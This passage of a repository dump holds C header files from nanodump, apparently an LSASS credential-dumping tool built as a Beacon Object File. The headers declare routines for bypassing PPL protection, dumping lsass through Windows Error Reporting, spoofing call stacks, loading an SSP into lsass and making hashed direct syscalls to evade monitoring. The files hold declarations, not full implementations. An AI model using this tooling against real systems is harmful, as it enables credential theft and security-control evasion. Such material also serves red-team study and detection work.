DISPID DispIdLaunchRemediationOnly;\n    BSTR CallerApplicationName;\n    BSTR Plugins;\n} WRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM, * PWRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM;\n\n#define IWaaSRemediationEx_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)   \\\n    ( ((PIWaaSRemediationEx)This)->lpVtbl -> Invoke((IDispatch *)This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) )\n\n#define IWaaSRemediationEx_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \\\n    ( ((PIWaaSRemediationEx)This)->lpVtbl -> GetIDsOfNames((IDispatch *)This,riid,rgszNames,cNames,lcid,rgDispId) )\n\n#define IWaaSRemediationEx_Release(This)  \\\n    ( ((PIWaaSRemediationEx)This)->lpVtbl -> Release((IDispatch *)This) )\n\n#define ITaskHandler_Release(This) \\\n    ( ((PITaskHandler)This)->lpVtbl -> Release((IDispatch *)This) )\n\nBOOL initialize_interface(\n    PIWaaSRemediationEx* IWaaSRemediationExPtr);\n\nBOOL find_combase_dll_search_flag_address(\n    IN PULONG_PTR Address);\n\nDWORD WINAPI write_remote_dll_search_path_flag_thread(LPVOID Parameter);\n\nBOOL write_remote_dll_search_path_flag(\n    IN PIWaaSRemediationEx IWaaSRemediationEx,\n    IN DISPID DispIdLaunchRemediationOnly);\n\nBOOL resolve_dispatch_ids(\n    IN PIWaaSRemediationEx IWaaSRemediationEx,\n    OUT DISPID *DispIdLaunchDetectionOnly,\n    OUT DISPID *DispIdLaunchRemediationOnly);\n\nBOOL calculate_write_addresses(\n    IN PVOID BaseAddress,\n    IN ULONG32 TargetValue,\n    OUT PDWORD64 WriteAtLaunchDetectionOnly,\n    OUT PDWORD64 WriteAtLaunchRemediationOnly);\n\nBOOL write_remote_known_dll_handle(\n    IN PIWaaSRemediationEx IWaaSRemediationEx,\n    IN LONG TargetValue,\n    IN DISPID DispIdLaunchDetectionOnly,\n    IN DISPID DispIdLaunchRemediationOnly,\n    IN DWORD64 WriteAtLaunchDetectionOnly,\n    IN DWORD64 WriteAtLaunchRemediationOnly);\n\nBOOL create_task_handler_instance();\n\nBOOL release_client(\n    IN PIWaaSRemediationEx IWaaSRemediationEx);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ppl/ppl_medic_dll.h",
    "content": "\n#include \"dinvoke.h\"\n\ntypedef HANDLE(WINAPI* OpenEventW_t)(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCWSTR lpName);\ntypedef BOOL(WINAPI* SetEvent_t)(HANDLE hEvent);\n\n#define CreateFileTransactedW_SW2_HASH 0x968D0D41\n#define OpenEventW_SW2_HASH            0x9E08A2EF\n#define SetEvent_SW2_HASH              0x5A8072DC\n\nBOOL signal_dll_load_event(\n    IN LPWSTR event_name);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ppl/ppl_utils.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"utils.h\"\n#include \"dinvoke.h\"\n#include \"handle.h\"\n#include \"syscalls.h\"\n#include \"ppl/ppl_utils.h\"\n#include \"ppl/ppl_medic.h\"\n#include \"ppl/ppl.h\"\n\n#define LdrGetKnownDllSectionHandle_SW2_HASH 0xABB7D960\n\ntypedef RPC_STATUS(WINAPI*  UuidToStringW_t)(UUID *Uuid, RPC_WSTR *StringUuid);\ntypedef RPC_STATUS(WINAPI*  RpcStringFreeW_t)(RPC_WSTR *String);\ntypedef PIMAGE_NT_HEADERS(NTAPI* RtlImageNtHeader_t)(PVOID ModuleAddress);\ntypedef BOOL(WINAPI* ControlService_t)(SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus);\ntypedef PVOID(WINAPI* Sleep_t)(DWORD dwMilliseconds);\ntypedef DWORD(WINAPI* GetCurrentDirectoryW_t)(DWORD nBufferLength, LPWSTR lpBuffer);\ntypedef BOOL(WINAPI* SetCurrentDirectoryW_t)(LPCWSTR lpPathName);\ntypedef HANDLE(WINAPI* CreateFileW_t)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\ntypedef DWORD(WINAPI* GetFileSize_t)(HANDLE hFile, LPDWORD lpFileSizeHigh);\ntypedef BOOL(WINAPI* StartServiceW_t)(SC_HANDLE hService, DWORD dwNumServiceArgs, LPCWSTR *lpServiceArgVectors);\ntypedef LSTATUS(WINAPI* RegOpenKeyExW_t)(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);\ntypedef LSTATUS(WINAPI* RegQueryValueExW_t)(HKEY hKey, LPCWSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);\ntypedef DWORD(WINAPI* GetTempPathW_t)(DWORD nBufferLength, LPWSTR lpBuffer);\ntypedef UINT(WINAPI* GetTempFileNameW_t)(LPCWSTR lpPathName, LPCWSTR lpPrefixString, UINT uUnique, LPWSTR lpTempFileName);\ntypedef BOOL(WINAPI* QueryServiceStatusEx_t)(SC_HANDLE hService, SC_STATUS_TYPE InfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded);\ntypedef LSTATUS(WINAPI* RegSetValueExW_t)(HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, PBYTE lpData, DWORD cbData);\ntypedef LSTATUS(WINAPI* RegCloseKey_t)(HKEY hKey);\ntypedef BOOL(WINAPI* RemoveDirectoryW_t)(LPCWSTR lpPathName);\n\n#define UuidToStringW_SW2_HASH        0x0A907D4E\n#define RpcStringFreeW_SW2_HASH       0x0C953D0F\n#define RtlImageNtHeader_SW2_HASH     0x00BCFBB5\n#define ControlService_SW2_HASH       0x6EC9F5F5\n#define Sleep_SW2_HASH                0x1AA40C23\n#define GetCurrentDirectoryW_SW2_HASH 0x7495613A\n#define SetCurrentDirectoryW_SW2_HASH 0x0E8F3B04\n#define CreateFileW_SW2_HASH          0x24976EA4\n#define GetFileSize_SW2_HASH          0xF850E4E6\n#define StartServiceW_SW2_HASH        0xF9C506E6\n#define RegOpenKeyExW_SW2_HASH        0xD9860929\n#define RegQueryValueExW_SW2_HASH     0xE31FB5B7\n#define GetTempPathW_SW2_HASH         0x7D51ED68\n#define GetTempFileNameW_SW2_HASH     0x132B8414\n#define QueryServiceStatusEx_SW2_HASH 0x1D84EAF8\n#define RegSetValueExW_SW2_HASH       0x1A1D0AD5\n#define RegCloseKey_SW2_HASH          0xE6251DA5\n#define RemoveDirectoryW_SW2_HASH     0x10D13916\n\n#define DIRECTORY_QUERY 0x0001\n#define DIRECTORY_TRAVERSE 0x0002\n#define DIRECTORY_CREATE_OBJECT 0x0004\n#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008\n#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF)\n#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)\n\n#define SYMBOLIC_LINK_QUERY 0x0001\n\n#if defined(_MSC_VER)\n\n#define FileStandardInformation 5\n#define ThreadImpersonationToken 5\n\ntypedef struct _FILE_STANDARD_INFORMATION {\n  LARGE_INTEGER AllocationSize;\n  LARGE_INTEGER EndOfFile;\n  ULONG         NumberOfLinks;\n  BOOLEAN       DeletePending;\n  BOOLEAN       Directory;\n} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;\n\ntypedef struct _OBJECT_NAME_INFORMATION {\n  UNICODE_STRING Name;\n} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;\n\n#define ObjectNameInformation 1\n\n#endif\n\nBOOL is_win_6_point_3_or_grater(VOID);\n\nBOOL is_win_10_or_grater(VOID);\n\nBOOL object_manager_create_directory(\n    IN LPWSTR dirname,\n    OUT PHANDLE hDirectory);\n\nBOOL object_manager_create_symlik(\n    IN LPWSTR linkname,\n    IN LPWSTR targetname,\n    OUT PHANDLE hLink);\n\nBOOL check_known_dll_symbolic_link(\n    IN LPCWSTR pwszDllName,\n    IN LPWSTR pwszTarget);\n\nBOOL get_file_size(\n    IN HANDLE hFile,\n    OUT PDWORD file_size);\n\nVOID safe_close_handle(\n    IN PHANDLE Handle);\n\nBOOL get_hijacked_dll_name(\n    OUT LPWSTR* HijackedDllName,\n    OUT LPWSTR* HijackedDllSectionPath);\n\nBOOL find_writable_system_dll(\n    IN DWORD MinSize,\n    OUT LPWSTR* FilePath);\n\nBOOL get_known_dlls_handle_address(\n    IN PVOID* KnownDllDirectoryHandleAddr);\n\nBOOL set_registry_string_value(\n    IN HKEY Key,\n    IN LPCWSTR SubKey,\n    IN LPCWSTR ValueName,\n    IN LPCWSTR ValueData);\n\nBOOL get_type_lib_reg_value_path(\n    IN LPWSTR* TypeLibRegValuePath);\n\nBOOL get_registry_string_value(\n    IN HKEY Key,\n    IN LPCWSTR SubKey,\n    IN LPCWSTR ValueName,\n    OUT LPWSTR* ValueData);\n\nVOID safe_release(\n    IN IUnknown** Interface);\n\nBOOL generate_temp_path(\n    OUT LPWSTR* Buffer);\n\nBOOL get_service_process_id(\n    IN LPCWSTR ServiceName,\n    OUT LPDWORD ProcessId);\n\nBOOL query_service_status_process_by_handle(\n    IN SC_HANDLE ServiceHandle,\n    IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus);\n\nBOOL get_service_handle(\n    IN LPCWSTR ServiceName,\n    IN DWORD DesiredAccess,\n    OUT LPSC_HANDLE ServiceHandle);\n\nBOOL query_service_status_process_by_name(\n    IN LPCWSTR ServiceName,\n    IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus);\n\nBOOL get_service_status_by_name(\n    IN LPCWSTR ServiceName,\n    OUT LPDWORD Status);\n\nBOOL stop_service_by_name(\n    IN LPCWSTR ServiceName,\n    IN BOOL Wait);\n\nBOOL start_service_by_name(\n    IN LPCWSTR ServiceName,\n    IN BOOL Wait);\n\nVOID safe_free(\n    IN PVOID* Memory);\n\nBOOL get_windows_temp_directory(\n    OUT LPWSTR* Path);\n\nBOOL find_module_section(\n    IN HMODULE Module,\n    IN LPCSTR SectionName,\n    OUT PULONG_PTR Address,\n    OUT LPDWORD Size);\n\nBOOL find_module_pattern(\n    IN PBYTE Pattern,\n    IN DWORD PatternLength,\n    IN ULONG_PTR Address,\n    IN DWORD Size,\n    OUT PULONG_PTR PatternAddress);\n\nBOOL is_service_running(\n    IN LPCWSTR ServiceName);\n\nBOOL delete_directory(\n    IN LPWSTR Path);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/shtinkering.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"dinvoke.h\"\n#include \"syscalls.h\"\n\n#ifndef EVENT_QUERY_STATE\n#define EVENT_QUERY_STATE 0x0001\n#endif\n\n#ifndef ALPC_MSGFLG_SYNC_REQUEST\n#define ALPC_MSGFLG_SYNC_REQUEST   0x20000\n#endif\n\n#define SHTINKERING_KEY L\"\\\\Registry\\\\Machine\\\\Software\\\\Microsoft\\\\Windows\\\\Windows Error Reporting\\\\LocalDumps\\\\\"\n#ifndef LOCAL_DUMP\n#define LOCAL_DUMP 0x2\n#endif\n\ntypedef struct _EVENT_DESCRIPTOR {\n  USHORT    Id;\n  UCHAR     Version;\n  UCHAR     Channel;\n  UCHAR     Level;\n  UCHAR     Opcode;\n  USHORT    Task;\n  ULONGLONG Keyword;\n} EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR;\n\ntypedef struct _EVENT_DATA_DESCRIPTOR {\n  ULONGLONG Ptr;\n  ULONG     Size;\n  union {\n    ULONG Reserved;\n    struct {\n      UCHAR  Type;\n      UCHAR  Reserved1;\n      USHORT Reserved2;\n    } DUMMYSTRUCTNAME;\n  } DUMMYUNIONNAME;\n} EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR;\n\ntypedef ULONG(WINAPI* EtwEventWriteNoRegistration_t) (GUID const *ProviderId, EVENT_DESCRIPTOR const *EventDescriptor, ULONG UserDataCount, EVENT_DATA_DESCRIPTOR *UserData);\n\n#define EtwEventWriteNoRegistration_SW2_HASH 0x980FF899\n#define NtUpdateWnfStateData_SW2_HASH 0x6CC3F2FE\n#define GetEnvironmentVariableW_SW2_HASH 0x2F9C600B\n\nenum WerSvcMessageId\n{\n    RequestReportUnhandledException = 0x20000000,\n    ReplyReportUnhandledExceptionSuccess = 0x20000001,\n    ReplyReportUnhandledExceptionFailure = 0x20000002,\n    RequestSilentProcessExit = 0x30000000,\n    ResponseSilentProcessExitSuccess = 0x30000001,\n    ResponseSilentProcessExitFailure = 0x30000002\n};\n\ntypedef struct _MappedViewStruct\n{\n    DWORD Size;\n    DWORD TargetProcessPid;\n    DWORD TargetThreadTid;\n    DWORD Filler0[39];\n    EXCEPTION_POINTERS* ExceptionPointers;\n#ifndef _WIN64\n    DWORD Filler1;\n#endif\n    DWORD NtErrorCode;\n    DWORD Filler2;\n    HANDLE hTargetProcess;\n#ifndef _WIN64\n    DWORD Filler3;\n#endif\n    HANDLE hTargetThread;\n#ifndef _WIN64\n    DWORD Filler4;\n#endif\n    HANDLE hRecoveryEvent;\n#ifndef _WIN64\n    DWORD Filler5;\n#endif\n    HANDLE hCompletionEvent;\n#ifndef _WIN64\n    DWORD Filler6;\n#endif\n    DWORD Filler7;\n    DWORD Filler8;\n    DWORD Null01;\n    DWORD Null02;\n    DWORD NtStatusErrorCode;\n    DWORD Null03;\n    DWORD TickCount;\n    DWORD Unk101;\n} MappedViewStruct, *PMappedViewStruct;\n\nBOOL wait_for_wersvc(VOID);\n\nBOOL signal_start_wersvc(VOID);\n\nBOOL send_message_to_wer_service(\n    IN PVOID SendingMessage,\n    OUT PVOID ReceivingMessage);\n\nBOOL find_valid_thread_id(\n    IN DWORD process_id,\n    OUT PDWORD pthread_id);\n\nBOOL werfault_shtinkering(\n    IN DWORD lsass_pid,\n    IN HANDLE hProcess);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/spoof_callstack.h",
    "content": "#pragma once\n\n#if defined(NANO) && !defined(SSP)\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"ntdefs.h\"\n#include \"utils.h\"\n#include \"dinvoke.h\"\n\n#define NtOpenProcess_SW2_HASH 0xcd9b2a0f\n\n#if defined(__clang__)\n #define SET_SYNTAX \".intel_syntax noprefix \\n\"\n#else\n #define SET_SYNTAX\n#endif\n\n#ifdef _WIN64\n\ntypedef struct _SYSCALL_DATA\n{\n    PVOID full_stack_base;        // 0x00\n    ULONG_PTR full_stack_size;    // 0x08\n    PVOID full_stack_backup_addr; // 0x10\n    PVOID fake_stack_heap_addr;   // 0x18\n    ULONG_PTR fake_stack_size;    // 0x20\n    PVOID fake_stack_target_addr; // 0x28\n    PVOID fake_stack_rsp;         // 0x30\n    PVOID fake_stack_rbp;         // 0x38\n    PVOID canary_addr;            // 0x40\n    union {\n        PVOID syscall_addr;       // 0x48\n        PVOID api_addr;           // 0x48\n    };\n    ULONG32 syscall_number;       // 0x50\n    BOOL is_api_call;             // 0x54\n    BOOL is_wow64;                // 0x58\n    ULONG32 num_params;           // 0x5c\n    ULONG_PTR params[10];         // 0x60+0x8*i\n} SYSCALL_DATA, *PSYSCALL_DATA;\n\n#else\n\ntypedef struct _SYSCALL_DATA\n{\n    PVOID full_stack_base;        // 0x00\n    ULONG_PTR full_stack_size;    // 0x04\n    PVOID full_stack_backup_addr; // 0x08\n    PVOID fake_stack_heap_addr;   // 0x0c\n    ULONG_PTR fake_stack_size;    // 0x10\n    PVOID fake_stack_target_addr; // 0x14\n    PVOID fake_stack_rsp;         // 0x18\n    PVOID fake_stack_rbp;         // 0x1c\n    PVOID canary_addr;            // 0x20\n    union {\n        PVOID syscall_addr;       // 0x24\n        PVOID api_addr;           // 0x24\n    };\n    ULONG32 syscall_number;       // 0x28\n    BOOL is_api_call;             // 0x2c\n    BOOL is_wow64;                // 0x30\n    ULONG32 num_params;           // 0x34\n    ULONG_PTR params[10];         // 0x38+0x4*i\n} SYSCALL_DATA, *PSYSCALL_DATA;\n\n#endif\n\n#ifndef UNWIND_HISTORY_TABLE_SIZE\n\n  #define UNWIND_HISTORY_TABLE_SIZE 12\n\n  typedef struct _FRAME_POINTERS {\n    ULONGLONG MemoryStackFp;\n    ULONGLONG BackingStoreFp;\n  } FRAME_POINTERS,*PFRAME_POINTERS;\n\n  typedef struct _RUNTIME_FUNCTION {\n      ULONG BeginAddress;\n      ULONG EndAddress;\n      ULONG UnwindData;\n  } RUNTIME_FUNCTION, *PRUNTIME_FUNCTION;\n\n  typedef struct _UNWIND_HISTORY_TABLE_ENTRY {\n    ULONG64 ImageBase;\n    ULONG64 Gp;\n    PRUNTIME_FUNCTION FunctionEntry;\n  } UNWIND_HISTORY_TABLE_ENTRY,*PUNWIND_HISTORY_TABLE_ENTRY;\n\n  typedef struct _UNWIND_HISTORY_TABLE {\n    ULONG Count;\n    UCHAR Search;\n    ULONG64 LowAddress;\n    ULONG64 HighAddress;\n    UNWIND_HISTORY_TABLE_ENTRY Entry[UNWIND_HISTORY_TABLE_SIZE];\n  } UNWIND_HISTORY_TABLE,*PUNWIND_HISTORY_TABLE;\n\n#endif\n\n#ifndef UNW_FLAG_CHAININFO\n  #define UNW_FLAG_CHAININFO  0x4\n#endif\n\n#define UNUSED(x) (void)(x)\n\n#define MAX_FRAME_NUM 30\n#define RBP_OP_INFO 0x5\n\n//\n// Used to store information for individual stack frames for call stack to spoof.\n//\ntypedef struct _STACK_FRAME {\n    WCHAR targetDll[MAX_PATH];\n    WCHAR target_dll_name[MAX_PATH];\n    DWORD functionHash;\n    CHAR function_name[MAX_PATH];\n    ULONG offset;\n    ULONG totalStackSize;\n    BOOL setsFramePointer;\n    PVOID returnAddress;\n    BOOL pushRbp;\n    ULONG countOfCodes;\n    BOOL pushRbpIndex;\n    ULONG32 pattern_size;\n    CHAR pattern[256];\n    BYTE byte_match[256];\n    BOOL is_valid;\n    PVOID function_addr;\n    ULONG32 final_offset;\n    BOOL push_frame;\n    BOOL is_exception;\n} STACK_FRAME, *PSTACK_FRAME;\n\n//\n// Unwind op codes: https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170\n//\ntypedef enum _UNWIND_OP_CODES {\n    UWOP_PUSH_NONVOL = 0, /* info == register number */\n    UWOP_ALLOC_LARGE,     /* no info, alloc size in next 2 slots */\n    UWOP_ALLOC_SMALL,     /* info == size of allocation / 8 - 1 */\n    UWOP_SET_FPREG,       /* no info, FP = RSP + UNWIND_INFO.FPRegOffset*16 */\n    UWOP_SAVE_NONVOL,     /* info == register number, offset in next slot */\n    UWOP_SAVE_NONVOL_FAR, /* info == register number, offset in next 2 slots */\n    UWOP_EPILOG,\n    UWOP_SPARE_CODE,\n    UWOP_SAVE_XMM128, /* info == XMM reg number, offset in next slot */\n    UWOP_SAVE_XMM128_FAR, /* info == XMM reg number, offset in next 2 slots */\n    UWOP_PUSH_MACHFRAME   /* info == 0: no error-code, 1: error-code */\n} UNWIND_CODE_OPS;\n\ntypedef unsigned char UBYTE;\n\ntypedef union _UNWIND_CODE {\n    struct {\n        UBYTE CodeOffset;\n        UBYTE UnwindOp : 4;\n        UBYTE OpInfo   : 4;\n    };\n    USHORT FrameOffset;\n} UNWIND_CODE, *PUNWIND_CODE;\n\ntypedef struct _UNWIND_INFO {\n    UBYTE Version       : 3;\n    UBYTE Flags         : 5;\n    UBYTE SizeOfProlog;\n    UBYTE CountOfCodes;\n    UBYTE FrameRegister : 4;\n    UBYTE FrameOffset   : 4;\n    UNWIND_CODE UnwindCode[1];\n/*  UNWIND_CODE MoreUnwindCode[((CountOfCodes + 1) & ~1) - 1];\n*   union {\n*       OPTIONAL ULONG ExceptionHandler;\n*       OPTIONAL ULONG FunctionEntry;\n*   };\n*   OPTIONAL ULONG ExceptionData[]; */\n} UNWIND_INFO, *PUNWIND_INFO;\n\ntypedef struct _STACK_INFO {\n    PVOID full_stack_base;\n    ULONG64 full_stack_size;\n    PVOID full_stack_backup_addr;\n    PVOID fake_stack_heap_addr;\n    ULONG64 fake_stack_size;\n    PVOID fake_stack_target_addr;\n    PVOID fake_stack_rsp;\n    PVOID fake_stack_rbp;\n    PVOID canary_addr;\n    PVOID first_ret_addr;\n    PVOID storing_area;\n} STACK_INFO, *PSTACK_INFO;\n\nBOOL lookup_function_entry(\n    IN ULONG_PTR ControlPc,\n    PRUNTIME_FUNCTION* pFunctionEntry,\n    PVOID* pImageBase);\n\nDWORD64 get_module_base(VOID);\n\nBOOL create_fake_callstack(\n    PSTACK_INFO stack_info,\n    ULONG32 function_hash);\n\nHANDLE open_handle_with_spoofed_callstack(\n    IN DWORD lsass_pid,\n    IN DWORD permissions,\n    IN DWORD attributes);\n\nPNT_TIB get_tib();\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ssp/ssp.h",
    "content": "#pragma once\n\n#define WIN32_NO_STATUS\n#define SECURITY_WIN32\n#include <windows.h>\n#include <winternl.h>\n#include <sspi.h>\n\n#include \"dinvoke.h\"\n#include \"nanodump.h\"\n#include \"output.h\"\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n#include \"pipe.h\"\n#endif\n\ntypedef NTSTATUS(WINAPI* AddSecurityPackageW_t) (LPWSTR pszPackageName, PSECURITY_PACKAGE_OPTIONS pOptions);\ntypedef HANDLE(WINAPI* CreateThread_t)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);\n\n#define AddSecurityPackageW_SW2_HASH 0x09B08696\n#define CreateThread_SW2_HASH        0x2C912627\n\n#define SSPICLI_DLL L\"SSPICLI.DLL\"\n\nDWORD WINAPI load_ssp(LPVOID Parameter);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ssp/ssp_utils.h",
    "content": "#pragma once\n\n#include <windows.h>\n\n#define DLL_NAME_LENGTH 10\n\ntypedef PVOID(WINAPI* Sleep_t)(DWORD dwMilliseconds);\n\n#define Sleep_SW2_HASH               0x1AA40C23\n\nBOOL generate_random_dll_path(\n    OUT LPSTR* random_path);\n\nBOOL write_ssp_dll(\n    IN LPSTR ssp_dll_path,\n    IN unsigned char nanodump_ssp_dll[],\n    IN unsigned int nanodump_ssp_dll_len);\n\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\nBOOL send_parameters_and_get_result(\n    IN LPSTR dump_path,\n    IN BOOL use_valid_sig,\n    OUT PBOOL dump_worked);\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/ssp.h",
    "content": "\n#define SECURITY_WIN32\n#include <sspi.h>\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/syscalls.h",
    "content": "#pragma once\n\n// Code below is adapted from @modexpblog. Read linked article for more details.\n// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams\n\n#ifndef SW2_HEADER_H_\n#define SW2_HEADER_H_\n\n#include <windows.h>\n\n#include \"utils.h\"\n\n#define ZwOpenProcess_SW2_HASH 0xCD9B2A0F\n\n#if defined(__clang__)\n #define SET_SYNTAX \".intel_syntax noprefix \\n\"\n#else\n #define SET_SYNTAX\n#endif\n\n#define SW2_SEED 0x1337C0DE\n#define SW2_ROL8(v) (v << 8 | v >> 24)\n#define SW2_ROR8(v) (v >> 8 | v << 24)\n#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))\n#define SW2_MAX_ENTRIES 550\n#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)\n\n#ifdef _M_IX86\n // x86 has conflicting types with these functions\n #define NtClose _NtClose\n #define NtQueryInformationProcess _NtQueryInformationProcess\n #define NtCreateFile _NtCreateFile\n #define NtQuerySystemInformation _NtQuerySystemInformation\n #define NtWaitForSingleObject _NtWaitForSingleObject\n #define NtQueryInformationFile _NtQueryInformationFile\n#endif\n// Typedefs are prefixed to avoid pollution.\n\ntypedef struct _SW2_SYSCALL_ENTRY\n{\n    DWORD Hash;\n    DWORD Address;\n    PVOID SyscallAddress;\n} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;\n\ntypedef struct _SW2_SYSCALL_LIST\n{\n    DWORD Count;\n    SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];\n} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;\n\ntypedef struct _SW2_PEB_LDR_DATA {\n\tBYTE Reserved1[8];\n\tPVOID Reserved2[3];\n\tLIST_ENTRY InMemoryOrderModuleList;\n} SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;\n\ntypedef struct _SW2_LDR_DATA_TABLE_ENTRY {\n\tPVOID Reserved1[2];\n\tLIST_ENTRY InMemoryOrderLinks;\n\tPVOID Reserved2[2];\n\tPVOID DllBase;\n} SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;\n\ntypedef struct _SW2_PEB {\n\tBYTE Reserved1[2];\n\tBYTE BeingDebugged;\n\tBYTE Reserved2[1];\n\tPVOID Reserved3[2];\n\tPSW2_PEB_LDR_DATA Ldr;\n} SW2_PEB, *PSW2_PEB;\n\nPVOID get_ntopenprocess_syscall_address(VOID);\n\nDWORD SW2_HashSyscall(\n    IN PCSTR FunctionName);\n\nPVOID GetSyscallAddress(\n    IN PVOID nt_api_address,\n    IN ULONG32 size_of_ntapi);\n\nBOOL SW2_PopulateSyscallList(VOID);\n\nBOOL local_is_wow64(VOID);\n\nPVOID getIP(VOID);\n\nvoid SyscallNotFound(VOID);\n\n#if defined(__GNUC__)\nDWORD SW2_GetSyscallNumber(IN DWORD FunctionHash) asm (\"SW2_GetSyscallNumber\");\nPVOID SW3_GetSyscallAddress(IN DWORD FunctionHash) asm (\"SW3_GetSyscallAddress\");\n#else\nDWORD SW2_GetSyscallNumber(IN DWORD FunctionHash);\nPVOID SW3_GetSyscallAddress(IN DWORD FunctionHash);\n#endif\n\n//typedef struct _IO_STATUS_BLOCK\n//{\n//\tunion\n//\t{\n//\t\tNTSTATUS Status;\n//\t\tVOID*    Pointer;\n//\t};\n//\tULONG_PTR Information;\n//} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\n\n//typedef struct _UNICODE_STRING\n//{\n//\tUSHORT Length;\n//\tUSHORT MaximumLength;\n//\tPWSTR  Buffer;\n//} UNICODE_STRING, *PUNICODE_STRING;\n\n#ifndef InitializeObjectAttributes\n#define InitializeObjectAttributes( p, n, a, r, s ) { \\\n\t(p)->Length = sizeof( OBJECT_ATTRIBUTES );        \\\n\t(p)->RootDirectory = r;                           \\\n\t(p)->Attributes = a;                              \\\n\t(p)->ObjectName = n;                              \\\n\t(p)->SecurityDescriptor = s;                      \\\n\t(p)->SecurityQualityOfService = NULL;             \\\n}\n#endif\n\n//typedef struct _OBJECT_ATTRIBUTES\n//{\n//\tULONG           Length;\n//\tHANDLE          RootDirectory;\n//\tPUNICODE_STRING ObjectName;\n//\tULONG           Attributes;\n//\tPVOID           SecurityDescriptor;\n//\tPVOID           SecurityQualityOfService;\n//} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;\n\ntypedef enum _MEMORY_INFORMATION_CLASS\n{\n\tMemoryBasicInformation,\n\tMemoryWorkingSetInformation,\n\tMemoryMappedFilenameInformation,\n\tMemoryRegionInformation,\n\tMemoryWorkingSetExInformation,\n\tMemorySharedCommitInformation,\n\tMemoryImageInformation,\n\tMemoryRegionInformationEx,\n\tMemoryPrivilegedBasicInformation,\n\tMemoryEnclaveImageInformation,\n\tMemoryBasicInformationCapped\n} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS;\n\n//typedef enum _THREADINFOCLASS\n//{\n//\tThreadBasicInformation,\n//\tThreadTimes,\n//\tThreadPriority,\n//\tThreadBasePriority,\n//\tThreadAffinityMask,\n//\tThreadImpersonationToken,\n//\tThreadDescriptorTableEntry,\n//\tThreadEnableAlignmentFaultFixup,\n//\tThreadEventPair_Reusable,\n//\tThreadQuerySetWin32StartAddress,\n//\tThreadZeroTlsCell,\n//\tThreadPerformanceCount,\n//\tThreadAmILastThread,\n//\tThreadIdealProcessor,\n//\tThreadPriorityBoost,\n//\tThreadSetTlsArrayAddress,\n//\tThreadIsIoPending,\n//\tThreadHideFromDebugger,\n//\tThreadBreakOnTermination,\n//\tMaxThreadInfoClass\n//} THREADINFOCLASS, *PTHREADINFOCLASS;\n\n//typedef struct _CLIENT_ID\n//{\n//\tHANDLE UniqueProcess;\n//\tHANDLE UniqueThread;\n//} CLIENT_ID, *PCLIENT_ID;\n\n//typedef enum _PROCESSINFOCLASS\n//{\n//\tProcessBasicInformation = 0,\n//\tProcessDebugPort = 7,\n//\tProcessWow64Information = 26,\n//\tProcessImageFileName = 27,\n//\tProcessBreakOnTermination = 29\n//} PROCESSINFOCLASS, *PPROCESSINFOCLASS;\n\ntypedef VOID(NTAPI* PIO_APC_ROUTINE) (\n\tIN PVOID            ApcContext,\n\tIN PIO_STATUS_BLOCK IoStatusBlock,\n\tIN ULONG            Reserved);\n\ntypedef struct _WNF_STATE_NAME\n{\n\tULONG Data[2];\n} WNF_STATE_NAME, *PWNF_STATE_NAME;\n\ntypedef struct _WNF_TYPE_ID\n{\n\tGUID TypeId;\n} 